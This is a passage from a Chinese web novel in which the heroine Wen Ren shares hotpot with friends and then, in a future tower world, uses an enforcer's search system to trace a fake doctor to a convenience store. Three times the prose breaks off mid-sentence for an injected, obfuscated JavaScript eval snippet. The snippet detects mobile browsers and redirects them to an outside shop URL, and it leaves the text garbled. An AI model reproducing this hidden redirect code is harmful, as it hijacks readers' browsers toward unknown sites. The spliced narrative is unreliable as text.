小陈似乎意识到了什么，鼻音有些重：“抱歉，是我太冲动了，有机会，我会向她说明歉意。” 季舒言点点头：“不错。” 她快步离开了这里。 只是，季舒言的心有些乱。 因为她不仅仅看到了那个变异的保安，也看到了小陈变异的父亲，还有曾经死于大火的实验人员们…… 明明，那些人都已经死了…… 而那一切，最终在瞬间，灰飞烟灭。 那之后，温刃的身影就出现了，就像是解决了一切一样。 季舒言不是一个会轻易相信嫌疑人的人。 她能相信温刃，还有最关键的一点。 小时候，她曾经亲眼目睹，父母被一个诡异至极的东西杀死了。 季舒言因为躲在柜子里，躲在废旧的衣服底下，才逃过了一劫。 根据温刃所说，季舒言确定自己看到的，并不是幻觉。 难道，这个世上真有常人难以理解的东西？ 那样恐怖的存在，折损了那么多执法官进去，人类真的是能抗衡的吗？ 所以，她更抱有希望，她希望温刃的存在能改变什么。 只是，她知道了杀死父母的存在究竟是什么。 它……是丧诡！ 季舒言拿出通讯设备，还是说道：“所有人，封了新辰科技，任何人不得进去，远离那里！” 希望，她没有信错人。 * 执法局门口。 顾景骁、叶令美和烬寻正站在台阶上等着。 看到温刃出来，三个人同时围了上来。 “温刃！你没事吧？”顾景骁上下打量着她，“他们没为难你吧？” “没事，”温刃说，“就是问了几个问题。” 叶令美一把抓住她胳膊：“温温，你吓死我了你知不知道？我们刚才在外面等了快一个小时，我生怕你被关起来出不去了。” “我真的没事，放心吧。”温刃拍了拍她的手。 烬寻站在最外面，一直没有说话，红色眸子里满是愧疚。 等温刃和叶令美说完，他才往前走了一步。 “对不起，”他说道，“是因为我丢了手机，才让你卷进这件事的。” 温刃摇了摇头：“不是你的错，就算没有你，那个家伙也会找别的办法引我过去。” 叶令美张大嘴巴：“这个怪谈这么恐怖吗？” 烬寻沉默了一会儿，抬起头，眼睛里有明显的愧疚：“不管怎么说，是我让你担心了，我请你们吃火锅吧。” 顾景骁眼睛一亮：“这个好这个好，我知道附近有一家特别好吃的辣火锅！” 叶令美瞪了他一眼：“你就知道吃。” “不是，”顾景骁理直气壮，“温姐刚死里逃生，不得庆祝一下，而且烬寻难得请客，不宰他一顿对得起谁？” 叶令美眨了眨眼：“也是哦，刚好聊聊天，我还想听温温说她的辉煌事迹呢。” 温刃看着活力四射的小伙伴们，也跟着露出微笑：“好。” 烬寻嘴角动了一下，算是笑了：“走吧。” 顾景骁：“哦耶！” 24. 吃火锅 豪华火锅店包间里。 热气腾腾的红油锅底咕嘟咕嘟地冒着泡，整个屋子快把人香晕了。 顾景骁已经涮了三盘毛肚，嘴里塞得满满的，还不忘说话：“温姐，你真的有本事啊，那个怪谈就这么被你解决了？” “对哦对哦，你是不是真的有大本事？”叶令美凑过来，她就坐在温刃旁边，对面则是顾景骁跟烬寻。 就连烬寻都露出好奇之色：“我也好奇。” 温刃夹起一片藕，想了想，决定还是不要说得太离谱。 “其实也不算我的本事，”她说，“我之前不是跟你们说过吗，我遇到过一个道士，有缘，他送了我一张符，要不然我可解决不了。” 温刃并不想跟小伙伴们说实话，因为她不想让小伙伴们卷入其中。 她拥有异能，是因为从高塔世界的Zero身上带过来的。 但这个世界并没有特殊部门，特殊组织，这说明了一点…… 那就是所谓的现实世界，是没有异能的。 所有人都是普通人。 但却有恐怖且无法杀死的丧诡。 “什么符这么厉害？”顾景骁眼睛一亮，“还有吗，卖我一张呗，多少钱都行，我三倍，哦不，十倍收。” 温刃摇了摇头：“用掉了，而且那道士说了，这种东西只能用一次。” 叶令美放下筷子，认真托腮看着温刃：“温温，你在那里面到底看到了什么？” 温刃沉默了一会儿，她总不能说，见到了另一个世界见到的存在，还用异能解决了。 这样，这群小伙伴怕不是要炸了。 “里面有很多不正常的东西，那些人只有一条腿，而且腿还像蛇一样，软体的那种。”温刃说。 顾景骁一哆嗦：“好恶心。” 烬寻：“你没受伤吧？” 叶令美也一脸担忧：“如果真有这种怪物，一定很不好解决吧……” 温刃摇头：“我没受伤，还好有那张符。” “不过，我跟那位执法官聊了一下，她们对这个事情有些了解。” “她让我告诉你们，那种怪物叫做丧诡，是人类不幸而诞生的产物，是很难被杀死的，无论怎样都会复活。” “咱们对丧诡并没有很多研究和针对手法。” 温刃把对着季舒言的那套说辞又拿出来说了一遍：“你们要小心，要让自己保持幸福，一旦变得足够不幸，或许我们也会变成那样。” 叶令美一脸惊讶：“原来顾景骁说的是真的？这世界真有怪物存在？丧诡……” “话说无限复活什么的也太可怕了吧，丧尸也没有这么bug。” 顾景骁拍拍胸脯：“我说了吧，我的消息保真，除了厕所的最后一个隔间……” 烬寻一直没怎么说话，只是安静地吃着东西，等温刃说完，他才开口：“以后遇到这种事，不要一个人去。” “至少叫上我，我不会拖后腿，也可以拿来垫背。”烬寻第一次开了个玩笑，就是有点冷。 顾景骁举手：“我也去，我也去，虽然我可能会拖后腿，但我有钱啊，我可以给你们买装备！” 叶令美无语：“你就知道钱。” 顾景骁解释：“钱能解决很多问题好不好？钱是万能的！” 温刃看着他们拌嘴，急忙转移话题：“我跟你们说，那个地方的事情虽然解决了，但……这个世界上可能还有类似的事情。” “不，准确来说，新辰科技的事情并没有解决，那边你们绝对不要再接近了。” 叶令美举手：“放心，那个鬼地方我们绝对不会再去了，给我钱，我也不去。” 温刃继续说道：“如果……我是说如果，如果你们遇到了无法解决的奇怪事情，不要好奇，不要一个人去调查，立马跑，并且打我电话……” 她看着顾景骁：“尤其是你，别再去搞什么怪谈研究了。” 顾景骁缩了缩脖子：“我……我那不是爱好嘛。” “爱好可以，”温刃说，“但别当真，有些东西，当真了就会出事。” 温刃考虑到这次的情况，看向烬寻：“话说你旧手机在哪丢的？” 烬寻想了想：“就在新辰科技附近，那时候车子突然出了问题，司机下去查看，我跟着下车的时候，手机丢在那一片了。” 温刃了然，果然是那个保安做的：“果然……你的手机被丧诡捡走了，所以他才能用你的手机做局。” “这种生物和你们想象中的不一样，他们拥有着人类的思维，他们很狡诈。” 烬寻一脸愧疚：“我会注意的。” 温刃继续说道：“记住，遇到特殊情况联系我，如果电话打不通，你们就来学校，和我出租房的位置找我，我跟那位执法官有联系，或许能帮上忙。” 这三位是她现实世界为数不多的朋友，也是除了亲人外最亲密的人。 她不希望他们出事，所以最好的办法，就是在这次之后，渐渐疏远他们。 温刃知道自己一定会被更多丧诡特殊关照，她的身边只会越来越危险。 她看着这三位嬉笑的朋友。 叶令美跟温刃小学的时候就认识，初中也在一起上，那时候温刃胆子很小，老被同学欺负，是叶令美站出来保护了她。 可叶令美头上的胎记也被人嘲笑了，温刃就那么怼了回去，她们两人抱在一起，自那以后再也没有分离。 顾景骁虽然看起来大大咧咧，胆小如鼠，但消息灵通，打点这方面没有问题。 他高中一手创建了怪谈协会，开始加入的人很多，结果全是为了他发放的两千块钱团费，后来只剩下了四个人，他是个傻大款，但为人真诚。 后来温刃跟着叶令美加入，才有了今天。 至于烬寻，温刃跟他也是初中就认识了，烬寻那时候还是个瘦弱的小男孩，跟温刃还是邻居，现在一下子长高，变得成熟，本以为他会去走体育这条路，结果却学了生物，当上科研人员。 他学校跟温刃离得很近，偶尔怪谈协会聚会还能顺路。 叶令美点了点头：“放心吧温温，我们会小心的。” 烬寻点头：“你也要小心。” 温刃想到什么，问烬寻：“话说你怎么找实习了？你家不是有公司吗？” 烬寻不好意思低下头：“我爸让我出国深造，我不愿意去，他把我卡停了……只能自己找。” “……” 然后顾景骁举起酒杯：“来来来，不管怎么说，今天咱们四个……怪谈协会F4都平安无事，还是温姐解决的，干一杯！” “庆祝温姐的胜利，这也是我们怪谈协会最伟大的开端，我称为新辰……那什么来着……” “新辰开端……”烬寻补充了一句。 顾景骁给烬寻倒了一杯：“寻弟，懂我也！” “你不是不能喝酒，一喝酒就会脸红吗？”叶令美说。 “我以茶代酒！”顾景骁说道。 “干杯！” 四个人碰了一下杯。 Zero不知什么时候出现，飘到温刃身边，歪着头看着这一幕，嘴角弯了弯。 “小刃，”她小声说，“你交到了很好的朋友呢。” 温刃没有回答，但她端起杯子，喝了一口，暖洋洋的。 她忽然觉得，幸福值好像又涨了一些。 * 四个人走出火锅店时，已经是下午了。 顾景骁打着饱嗝，叶令美在说他没形象，烬寻走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507353|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在最前面，双手插兜，看起来还挺文艺。 温刃被他们夹在中间，抬头看了一眼天空。 天气真好啊。 * 温刃回到家的时候，已经五点多了。 她倒在沙发上，拿出手机，给三个小伙伴各发了一条消息。 【别惹我我很温刃：我到家了，大家都平安吧？】 很快，三个人都回复了。 【骁张跋扈：平安平安，下次聚会我请客！】 【美美：平安，温温早点休息】 【烬然是你：嗯，平安，你也早点休息】 【别惹我我很温刃：收到】 温刃先给父母发去消息，告诉他们最近不太平安，遇到不对劲的事情第一时间打她电话。 爸妈问了她很多事情，温刃找借口一一搪塞过去。 做完一切后，她这才把手机扔到一边，看向一旁，收起脸上洋溢的笑容，表情严肃：“Zero，你调查的怎么样了？” 刚才自从被季舒言带走之后，Zero一直不在身边，其实是被温刃调走去探查了。 Zero轻轻坐在温刃身旁：“小刃，那座地下室就在新辰科技被烧毁的建筑下面，不过在很深处，你的想法是对的，我花了好一阵子才找到。” 温刃看向她：“你没受伤吧？没往下探索吧？” 她在从领主的领域出来后，就看到不远处被挖了五十米的大坑。 估计是执法官做的，居然这样都没有找到那个实验室，恐怕实验室是在更深的位置。 她那个时候就有了猜测，才吩咐Zero留下调查。 不过，那地方太可怕了，绝对不能靠近，也不能让别人靠近。 说起来，温刃更好奇，新辰科技究竟是怎么把那样恐怖的怪物局限在实验室里面的？ 现实世界的人类不是没有异能吗？ Zero摇了摇头，露出笑容：“我没事，你这是在担心我吗？” 温刃点头：“当然，没你我无法超度丧诡，话说这个幸福手环究竟是怎么制作的？那个世界的人是怎么知道这东西能超度丧诡的？第一只丧诡又是怎么诞生的？” 她简直是有太多问题想问了。 Zero也不知道：“这个事你得去问创世安防了，这手环毕竟是他们制造的，他们也被称为公司，权力跟执法官并肩，甚至更高一筹，不过，我也不知道第一只丧诡是怎么诞生的。” “我只知道，那个时候，人类迎来了末日，大范围丧诡事件爆发，文明几乎沦陷。” “还好有高塔的出现，保护了我们，才能让我们苟延残喘到现在。” “Zero，”温刃看了眼时间，好像快到点了，“我准备穿越了。” “我到了那边，会想办法调查一下你的记忆和你的身份信息。” Zero看起来很高兴：“谢谢你，我也好奇，我究竟是什么身份，不过你过去可以用通讯器查一下，这东西跟你们使用的手机差不多。” 温刃看了一眼时间。 五点五十八分。 困意开始涌上来，她的眼皮已经快睁不开了。 果然，她一到六点就会进行穿越。 但是，Zero到底是谁？ 她的尸体为什么会在高塔世界？ 温刃在想，那个大眼珠子是否还能吞噬更多的人，她是否能获得更多的异能，这样是不是就有自保能力了呢？ 话说，现实世界又是为什么会出现丧诡？ 难道是因为她的穿越？ 可这也不是她能控制的。 这次过去，得好好调查一下了。 六点整。 温刃闭上眼睛。 黑暗吞没了她。 25. 信息 “当前时间：高塔纪元372年，晨6:00，高塔内部供氧正常，生物体征监测中……” “检测完毕。” “一切正常。” 温刃睁开双眼。 果然，她回到了高塔世界，四周又变成了那种科技感满满的房屋。 她条件反射瞬间坐了起来，然后低头去看床底。 还好，床底下什么都没有。 “看来这次没有惊喜。”她小声吐槽了一句。 然后她看向自己的左手，伸展开，握拢，再伸展开，依旧是手指灵活，皮肤光滑，还保留着人类形态。 “看来这次惊喜二也没有。” 她刚想把手放下，忽然注意到了什么。 手腕那片寿衣碎片还在。 但它变得暗淡，甚至有些褶皱，像是被使用了一样，失去了原本的光泽。 “这是怎么回事？” 温刃记得上次穿越之前，她在通讯器上搜索过这个款式。 她点开通讯器，不过搜索界面怎么没有了？ 温刃没在意，应该是息屏，通讯器就会自动跳转到主界面，是一种省点设置。 经过上次Zero的提醒，这次直接输入了“寿衣”这两个字。 搜索结果很快跳了出来。 屏幕上衣服的款式和贴在她手腕上的碎片很像，贴身，流线型，带着未来感的设计。 介绍写着，纳米仿生寿衣，防潮防臭，可保持遗体长时间不腐。 不对外公开销售。 想要购买，必须联系好得快医院。 “难道说，这个寿衣碎片并不能一直压制我手上的变异？这个东西是有时间限制的？” “不，更像是有使用次数限制。” 恐怕她使用越多次，碎片的就会彻底失去作用。 温刃皱起眉头。 “不行，我得早点找到那个医生，得知道这拥有特殊作业的衣服到底是从哪里得到的。” 温刃才不相信，好得快医院的所有寿衣都有这种作用，那这样人类早就能跟丧诡达成和平了。 “这种特制的衣服绝对不可能流通在普通市场上，只有找到那个医生，才能找到这一切的源头，才能彻底压制住我的变异。” 否则，一旦被其他人发现她手上的异常，恐怕真的会被当成丧诡处理。 被超度了还算比较轻松的。 如果是被当做实验体，当做研究材料来对待，那才是真正的痛不欲生。 温刃打了个寒颤，她才不想要变成那样。 “对了，我得搜索一下Zero的信息。” 说实话，她连Zero的名字都不知道，至于Zero这个称呼，也只是她衣服上的标志而已。 至于Zero的真实姓名，还有来历什么的，温刃一点也不知道。 “那就先按照特征搜索一下吧。” 毕竟她也不知道Zero的真实姓名。 后背有Zero标识的紧身衣，蓝色头发，蓝色眼睛，女性，漂亮，骨相立体。 搜索结果弹出来很多条。 大部分都是一些有名的人物，比如明星，知名学者之类的。 她往下翻，翻了好久，终于翻到了最下面。 有几条记录是折叠的，点不开。 页面上显示着一行灰色的小字。 【搜索者当前身份为普通民众，无权查看他人身份信息】 【请身份晋升为执法官后，再尝试搜索】 【注：执法官有权查看44号高塔所有居民信息】 温刃：“不是，成为执法官的好处这么多吗？” 可秦朗川为什么不让她成为执法官呢？ 是因为不想看到家人变得精神失常，不想看到家人变成怪物吗？ 执法官这个职业确实是太危险了。 秦朗川有这样的想法，合情合理。 不过，秦朗川既然是原主的家人，为什么他们两个不是一个姓氏？ 难道是同父异母，同母异父之类的？ 温刃想不通，索性不想了。 她从床上起来。 床头那个每天自动播报的东西，其实就是她的闹钟。 她看了一眼时间，现在才早上六点零几分。 “没想到这个世界的人六点就起床了，”她嘀咕了一句，“这起得有点早了吧？” 如果放在现实社会，她基本上九点多才起来，有时候熬夜熬狠了，还能睡到中午十二点。 这个世界还是太卷了。 她穿好衣服，推开门。 她路过客厅的时候，看到秦朗川已经穿上围裙，站在开放式厨房的灶台前，正在煎什么东西。 油锅滋滋地响，空气里弥漫着一股香味。 温刃吸了吸鼻子，她还真有点饿了。 秦朗川侧身看了她一眼：“起来了？” 温刃点点头，迷迷糊糊地说：“我去刷牙。” 秦朗川没说什么，继续做饭。 温刃走进洗手间，脑子里却还在想别的事。 秦朗川都是权利地位不低的执法官了，这么有钱，为什么还在手动做饭？ 按理说这个科技这么发达，应该有那种自动做饭的机器吧？ 他没买那种东西，是为了省钱？ 想不通。 刷牙倒是很快。 她刷完牙，洗了脸，刚推开门，就听到大门那边传来了敲门声。 咚咚咚。 “是我！林焕！” 温刃走过去开了门。 林焕像一阵风一样钻进来，鼻子抽了抽：“哎呀，好香啊，我来蹭饭了！” 秦朗川看了他一眼，没说什么。 他把煎好的东西盛到盘子里，又把锅里热着的汤端上来，一样一样地摆在桌上。 “今天做了你爱吃的荧菇烩饭，”秦朗川对温刃说，“还有清炒星叶菜和肉骨汤。” 温刃：荧菇？星叶菜？听都没听过。 但端过来的东西看起来还挺好吃的。 米饭里拌着一些淡蓝色的碎末，散发着淡淡的咸香味。 蔬菜是翠绿色的，叶片形状像星星，那个应该是星叶菜。 三个人坐下来吃饭。 温刃尝了一口荧菇烩饭，眼睛亮了一下，味道居然很不错。 下一秒，她手腕上的幸福手环微微震了一下。 她低头看了一眼。 43。 温刃记得跟小伙伴们吃火锅之前还很低，只有14来着。 看来吃火锅那次幸福值涨了不少啊。 秦朗川也注意到了她手环上的数字变化。 秦朗川沉默了片刻，点了点头：“最近不要出去了，在家好好休息，你这幸福值好不容易长下来，但是低于60都是比较低的。” 温刃应了一声，她想到什么：“川哥，周正明那个地方的事情彻底解决了吗？没有发生什么问题吧？” 林焕说：“你放心吧，咱们川哥亲自出马，还能有岔子吗？” 秦朗川点头：“放心吧，公司那边人已经彻底清理，没有发生任何残留痕迹，那边的事情已经彻底解决了，不要担心。” “出现任何问题，不要去找其他执法官，找我，我能及时赶来。” 林焕跟着点头：“上次我就第一个打电话给川哥，那俩人还想打电话给其他执法官，他们过来都不知道啥时候了，还好，咱们川哥会瞬移。” 温刃点点头，这下子就彻底放心了。 难道说，只有现实世界那边的丧诡是比较聪明，是会算计人的吗？ 就在这时，她的通讯器震了一下。 是冷霜发来的消息。 【冷霜：你今天出来吗？我想跟你一块去茶舍坐坐，那地方很安静，适合聊天】 【冷霜：我想跟你再聊一聊天，交交朋友】 温刃想了想，抬起头：“川哥，我准备出去一趟，冷霜约我。” 秦朗川的表情缓和了一些：“冷霜啊，可以，她是个很靠谱的人，她今天刚好也不值班，你们两个去聊聊天，交交朋友也好。” “我有时候不在家，也照顾不到你，林焕又是男生… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507354|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …总之，交个女生朋友也是挺好的。” 林焕在旁边哀嚎：“啊？我怎么啦，我跟温刃关系挺好的，等等……那我不是只能一个人了？我去看看电视吧。” 秦朗川伸手拉住了他的衣领：“今天你过来跟我进行后勤部门面试，你之前不是面试成功了吗？现在由我来亲自面试。” “你不是说，不想当家里蹲了嘛？” 林焕就只知道喊：“啊？” 秦朗川面无表情看向他：“快点洗碗。” 三个人吃完饭，秦朗川很快收拾了东西，一起出了门。 悬浮梯在46层停了下来。 林焕挥了挥手：“拜拜。” 温刃点点头，走下了立方体。 她这次同意冷霜的邀约，其实还有一个目的。 她想让冷霜帮忙。 冷霜也是执法官，肯定拥有搜索居民信息的权限。 秦朗川虽然也是执法官，但他和原主朝夕相处，太了解原主的性格了。 如果温刃突然提出要查一个人，恐怕会引起怀疑。 就按照刚才队长说的话，说明原主平常根本没有任何朋友。 想要查一个陌生人，嫌疑实在是太大了。 “还好我刚才没有提出这一点。”温刃很庆幸，自己并不是那么冲动的人。 但冷霜不一样，她本来就不了解原主，哪怕提出这件事，也不会引起怀疑。 更何况，冷霜是二队的人，秦朗川的三队队长，两人应该没有那么多的交集，冷霜也不会无聊到透露这件事。 茶舍在46层的一个安静的角落，装修很素雅。 冷霜已经坐在里面了，看到她进来，笑着招了招手：“温刃，这边！” 温刃走过去坐下。 冷霜给她倒了一杯茶：“这次我就是想找你过来放松放松，毕竟昨天经历了那样的事情，能不害怕已经很棒了，你以前从来没接触过那些吧？” 温刃笑了笑，没有多说什么。 两个人聊了一阵，关系亲近不少。 温刃这才知道，她跟林焕在执法队里面的印象不太好，所有人都觉得他们两个拖累了秦队长。 而且，温刃还得知了一个消息。 那就是，原主跟林焕居然是秦朗川在下层捡来的流浪孩。 秦朗川居然对两个没有血缘关系的人这么好？ 那他性格也太好了吧？ 一旁，冷霜说起自己刚当执法官时候的糗事，说起怎么被老队员坑，说起第一次见到丧诡的时候吓得腿软。 温刃听着，偶尔插几句话，觉得这个人确实挺好相处的。 聊着聊着，冷霜忽然认真起来：“温刃，这次你帮了我很大的忙，要不是你，那个案子没那么快解决。” “你以后要是有需要帮忙的地方，尽管来找我。” 温刃等的就是这句话，她犹豫一下：“冷霜，我没有什么大忙，但有个小忙想请你帮一下，可以么？” 冷霜点点头：“你说。” 温刃说出自己的真正目的：“我想让你帮我在执法系统上查一个人，川哥去上班了，我有点着急，现在只能找你帮忙了。” 冷霜没有犹豫，从口袋里掏出自己的通讯器，递给她。 “啊，这么简单的事呀，你搜吧，不知道名字的话，搜特征也行，执法系统的权限比普通民众高很多。” 温刃接过通讯器，道了声谢。 她输入了Zero的特征，搜索结果很快就弹出来了。 温刃一条一条地翻过去。 没有。 什么都没有。 她换了个关键词，再搜。 还是没有。 冷霜注意到她的表情，问：“没有找到想找的人吗？” 温刃摇了摇头。 冷霜沉默了片刻。 “你搜的这些特征已经很显眼了，”她说，“而且执法官的系统是经过升级的，搜索非常精准，如果在这里都搜不到的话……” 她抬起头，看着温刃。 “那就说明，这个人不存在。” 26. 线索 冷霜把通讯器收回去，忽然又开口了。 “不过，当然还有一种可能。” 温刃看着她，完全是一脸期待。 冷霜说：“咱们这个执法官系统，只能搜到44号高塔的人，如果他是在其他高塔里，咱们暂时也搜索不到，毕竟没有那边的权限。” 温刃问：“其他高塔的人？” 冷霜点点头：“有的，高塔与高塔之间偶尔也会有一些交流活动，会有其他高塔的人通过高层特殊的传送阵过来，不过那种情况比较少了。” 她顿了顿。 “哎呀，不过呢……除了这个情况，还有第三种情况。” 温刃震惊了。 不是，还有第三种情况？ 冷霜看出她的震惊，继续说：“还有第三种可能，那个人是塔外的人。” “据说，也有些人在这种生存环境下扛过了袭击，待在高塔之外，但肯定少之又少，估计他们也不愿意回到高塔。” “可能你找的人是其他塔的人吧，但这种可能性太低了。”冷霜耸耸肩。 她端起茶杯喝了一口，又问：“你还有没有要查的人？” 温刃想到了那个医生。 说起来那个医生虽然戴着面罩，但她记得那个医生的一个特征。 他左眼的眼珠侧面，有一颗痣。 那颗痣是长在眼珠里面的，很小，但仔细看能发现。 “有，”温刃说，“我再搜一个。” 冷霜把通讯器又递给她。 温刃输入了特征，男性，左眼眼珠侧面有痣。 搜索结果弹出来很多。 她一条一条地翻，翻了好一会儿，终于翻到了一个人。 那是个中年男子，面容有些颓废，头发乱糟糟的，穿着一件洗得发白的衬衫。 他的左眼眼珠侧面，确实有一颗痣。 和那个医生好像。 他叫做曾豪。 温刃草草扫了一眼，不动声色又往后翻了很久。 “没事了，”她把通讯器还给冷霜，“没找到，算了吧，这次真的谢谢你了。” 冷霜接过通讯器，没有多问：“好吧。” 温刃站起来：“冷霜今天的事情非常感谢你了，如果以后有需要帮忙的地方，我一定在所不辞。” 冷霜也站起来，笑了笑：“没关系，不过看你这个情况，暂时是不会加入执法队了，嗯，不过有需要帮忙的地方，我一定找你。” 两个人出了茶舍，在门口分别。 温刃走到悬浮梯的站点，站上了那个立方体。 她现在已经知道怎么用这玩意了。 只要站在上面，脚就会被吸住，像踩着UFO一样，然后再跟它汇报自己的楼层，立方体就会自动移动。 说实话，如果往下看一眼，有恐高症的人，是真的会吓瘫的。 这座塔实在是太高了，四周的建筑又密密麻麻，酷似蜂巢，看多了还是会让人晕眩。 立方体缓缓下降。 经过某一层的时候，温刃听到下面传来争吵声。 “你凭什么不让我去其他层，为什么这个人就能，我记得看到过，她的家就在44层！” 温刃低头看了一眼。 一个穿着普通服装的男人正指着她，情绪激动朝旁边的人嚷嚷。 “为什么她就能往上走？你看他根本没有穿执法官的服饰，她不是执法官！” 旁边站着两个戴着山羊面具的人，是公司的人。 其中一个人拦住了那个男人，冷声说道：“那个人是有执法官特殊的调令才能离开他原本的层，没有调令的话，是不能前往上层的。” “高塔所有的居民，有权利往自己居住楼层之下的任何一个层级走。” “但只要没有调令，并且没有特殊身份，是绝对不可以往上层走的。” “这一点你放心，没有人能违背高塔法律，如果有人违背，公司会第一时间处理。” 那个男人还在嚷嚷，但声音已经小了一些：“那，那她……” “她？我认识她，她有执法官的亲属关系，你有吗？”那位公司的人冷哼一声，“而且，人家身为执法官的亲属，本该住在55层，她却不贪图那些荣华富贵，选择住在44层，你又有什么资格说人家呢？” “你居住的楼层，甚至在她之上！” 男人泄了气，看向温刃的眼神充满崇拜：“原来……是这样？” 立方体很快降了下去，那些声音越来越远，最后听不到了。 温刃站在立方体上，这些事她已经从冷霜那里了解到了，所以并不在意。 她在意其他事情。 她刚才匆匆瞥了一眼从冷霜手机上得到的那个医生资料。 他不是医生，而是…… 那他为什么偏偏在那天出现在医院里？ 为什么偏偏给她留下了那块碎片？ 温刃现在坚信，那个人可能是故意的。 他专门出现在那里，就是为了给她留下那件东西，让她压制变异。 难道他们认识？ 不，不可能，如果认识，那个假医生不会问出那些问题。 不知道为什么，她有一种毛骨悚然的感觉。 好像自己的命运被某种莫名力量给推动了。 “难道我被某些人盯上了吗？” 立方体停在了她所在的楼层。 温刃跌跌撞撞地走回家，推开门。 屋子里空荡荡的，秦朗川不在，林焕也不在。 她走到沙发前，直接坐了下去，甚至忘记了这个地方是队长的床。 “开机。”她说。 墙上的电视亮了起来。 画面里正在播一个看起来很无聊的电视剧，男女主角面对面站着，说着一些没营养的对白。 温刃没有耐心看，正要换台，画面刚好变成了广告。 “24小时便利店招聘店员，待遇从优，无需经验，提供岗前培训……” 温刃瞪大双眼。 她认出了那个便利店的招牌…… 如愿便利店。 而那个假医生的身份，正是便利店员工。 而他所在的便利店名字，正是叫如愿便利店！ 和刚才在资料里看到的一模一样！ “暂停。”她说。 电视画面定格了。 温刃站起来，走到电视前，凑近了看。 广告画面的角落里，有一排员工的照片。 其中一张，是一个中年男子，头发乱糟糟的，面容有些颓废，穿着一件洗得发白的衬衫。 他的名字确实叫做曾豪。 这和她在资料里看到的那张照片，一模一样！ 因为高塔世界的科技比较先进，所以这张照片的像素很高，暂停后完全能看到照片上的字。 温刃皱起眉头。 等等。 曾豪怎么就这么容易地被她搜索到了？ 难道这一切真的是巧合吗？ 温刃当然不相信这是巧合。 为什么偏偏在她幸福值降低的时候，就遇到了曾豪？ 为什么偏偏在她发现碎片的作用，想要去找曾豪的时候，又偏偏发现他是在广告上的便利店里当一个员工？ 这是不是有点过于巧合了？ “继续。”她说。 广告继续播放。 “如愿便利店，坐落于高塔13层，各种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507355|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物品应有尽有！” “欢迎各位选购。” “我们这里有如愿便签，写下后，内容都会变成真的哦，欢迎大家来采购，这是我们店的镇店之宝！” 画面上出现了一张便签。 它一片透明，是个带有电子芯片纹路的薄膜，在灯光下泛着淡淡的蓝光。 广告很快播完了，画面又切回了那个无聊的电视剧。 温刃坐回沙发上，开始大脑风暴。 Zero的身份目前查不到了，她可能不属于这座高塔，这件事只能放在以后才能去做。 等到时候找到去其他高塔的机会，刚好可以调查一番。 但现在当务之急是找到压制变异的衣服。 温刃看了一下自己的手腕，现在这个碎片最多还能压制四五次，之后恐怕就会失去效果。 而她一天一早一晚就会变异两次。 也就是说，她只有两天时间了。 嗯，她还不能待在晚上，只能出现在两个世界的白天，也就是说，时间更加紧促 恐怕，到时候变异，她会被整座高塔追杀。 温刃决定，她必须得去这家便利店试试看。 管他什么队长的话不要乱跑，保命重要好吧。 她想了想，还是得跟林焕说一下这事。 温刃打开通讯器，给林焕发了一条消息。 【温刃：林焕，你今天都有活干了吧？我也想找个工作去，但是川哥不让我随便出门，我跟你说一声，我希望你给我保密，帮我把他拖延住】 对面很快回复了。 【林焕：我刚当上后勤部成员，你这是吓我一跳呀，还好这个时候队长不在我身边，你当家里蹲不好吗？我现在有工作了，我们两个养你呗】 温刃：？ 【温刃：我还是得努力一下，挣扎一下，咱们不是说好了吗？都找好工作，不当家里蹲，请赵阿姨吃饭，我不能违背咱们的誓言】 【林焕：你说的有点道理，那我就替你隐瞒一下，不过你要去哪里呀？】 【别惹我我很温刃：我想去打个工，不过我先去面试一下，还不知道人家要不要，先替我保密，万一我面试不成功，说出来就尴尬了】 【林焕：好吧好吧，这个事交给我，晚饭前记得发消息，我只能拖到那个时候】 下午五点吗？ 那还来得及。 温刃看到这条消息，这才放了心。 林焕这小子傻，在这方面还算靠谱。 她收起通讯器，想了想自己还需要做什么准备。 她看了一眼幸福手环，现在幸福值还有43点。 她记得秦朗川说过，低于60就算比较低的了。 “唉，对我来说，这个43已经很高了，只要高于40，我就有了底气，使用能力也更加方便。”温刃实惨。 “这次过去，应该没有什么事发生吧？” 反正温刃是不想再死一回了。 前两次的死亡，第一次复活消耗了10点，第二次消耗了20点。 如果这一次再死，恐怕要消耗30点幸福值。 那个怪物可真黑。 应该没有怪事吧？ 看起来这个便利店也就是个普通便利店。 温刃没有再犹豫。 趁着现在时间还早，还不到中午，她站起来，推开门，走向了悬浮梯的站点。 “去13层。” 立方体开始下降。 温刃站在上面，风从耳边吹过，吹得她的头发有些乱。 还好这次是去底层，不需要执法官的什么调令。 话说秦朗川的能力真方便啊，瞬移…… 那不是想去哪去哪吗？ 27. 